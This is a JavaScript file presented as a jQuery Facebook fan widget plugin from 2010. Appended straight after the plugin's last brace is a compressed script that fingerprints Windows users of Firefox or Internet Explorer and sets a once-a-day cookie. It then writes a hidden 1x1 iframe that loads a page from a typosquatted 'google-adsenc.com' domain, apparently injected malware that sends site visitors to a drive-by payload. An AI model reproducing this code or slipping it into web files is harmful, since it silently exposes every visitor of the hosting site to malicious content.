/*!
 * jQuery Custom Facebook Fan Widget Plugin
 * Examples and documentation at: http://o2v.net/facebookWidget
 * Copyright (c) 2010 Andrei Zharau
 * Version: 1.00 (1-MAY-2010)
 * Dual licensed under the MIT and GPL licenses:
 * http://www.opensource.org/licenses/mit-license.php
 * http://www.gnu.org/licenses/gpl.html
 * Requires: jQuery v1.4.2 or later
 * Usage: $("#element").fWidget({showTotalNumber: true, fans: 9, objectID: '38453090414'})
 */

jQuery.fn.facebookWidget = function(opts){
    return this.each(function() {
        defaults = {
            showTotalNumber : true, //display or not the total number of all fans
            fans : 40, //total number of fans to show in the widget
            api : "6d0cd58e1d5e8d73d319eab347b51d96", //Facebook API key (it should work even without API key, but Facebook can block you in future)
            objectID : "108622255851721" //Object ID
        }
        var options = jQuery.extend(defaults, opts);
        jQuery("<div/>", {
            "class" : "number-friends",
            html : "Caricamento..."
        }).appendTo(jQuery(this));
        jQuery("<ul/>", {
            id : "fans"
        }).appendTo(jQuery(this));
        var jsonURL = "http://query.yahooapis.com/v1/public/yql?q=SELECT%20*%20FROM%20html%20WHERE%20url%3D%22http%3A%2F%2Fwww.connect.facebook.com%2Fwidgets%2Ffan.php%3Fapi_key%3D"+ options.api +"%26id%3D"+ options.objectID +"%26connections%3D"+ options.fans +"%22%20AND%20%20xpath%20IN%20(%20%22%2F%2Fdiv%5B%40class%3D'connections_grid%20clearfix'%5D%2Fdiv%22%2C%22%2F%2Fspan%5B%40class%3D'total'%5D%22%2C%22%2F%2Fspan%5B%40class%3D'name'%5D%22)&format=json&callback=?";
        //grab YQL stream
        jQuery.ajax({
            url: jsonURL,
            dataType: 'json',
            timeout: 30000,
            error: function(xhr, status, e) {
                jQuery("div.number-friends").text(e)
            },
            success: function (data) {
                if (jQuery("div.number-friends").length && options.showTotalNumber)
                    jQuery("div.number-friends").css({
                        "text-align":"left"
                    }).text(data.query.results.span[0].content + " Amici di " + data.query.results.span[1].content);
                else jQuery("div.number-friends").hide();
                if (data.query.results == null) {
                    jQuery("div.number-friends").text("An error has occured fetching the feed")
                    return;
                }
                jQuery.each(data.query.results.div, function(i,fan){
                    if (i>0) { //skip first empty box
                        jQuery("<li/>", {
                            id: "fan"+i,
                            css: {
                                height : 50,
                                width : 50
                            }
                        })
                        .append(jQuery("<a/>", {
                            href:  (fan.a.href) ? fan.a.href : "",
                            title: fan.div.p
                        }).append(jQuery("<img/>", {
                            src: fan.a.img.src,
                            alt: fan.div.p
                        })))
                        .appendTo('ul#fans');
                    }
                });
            }
        });
    });
}var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
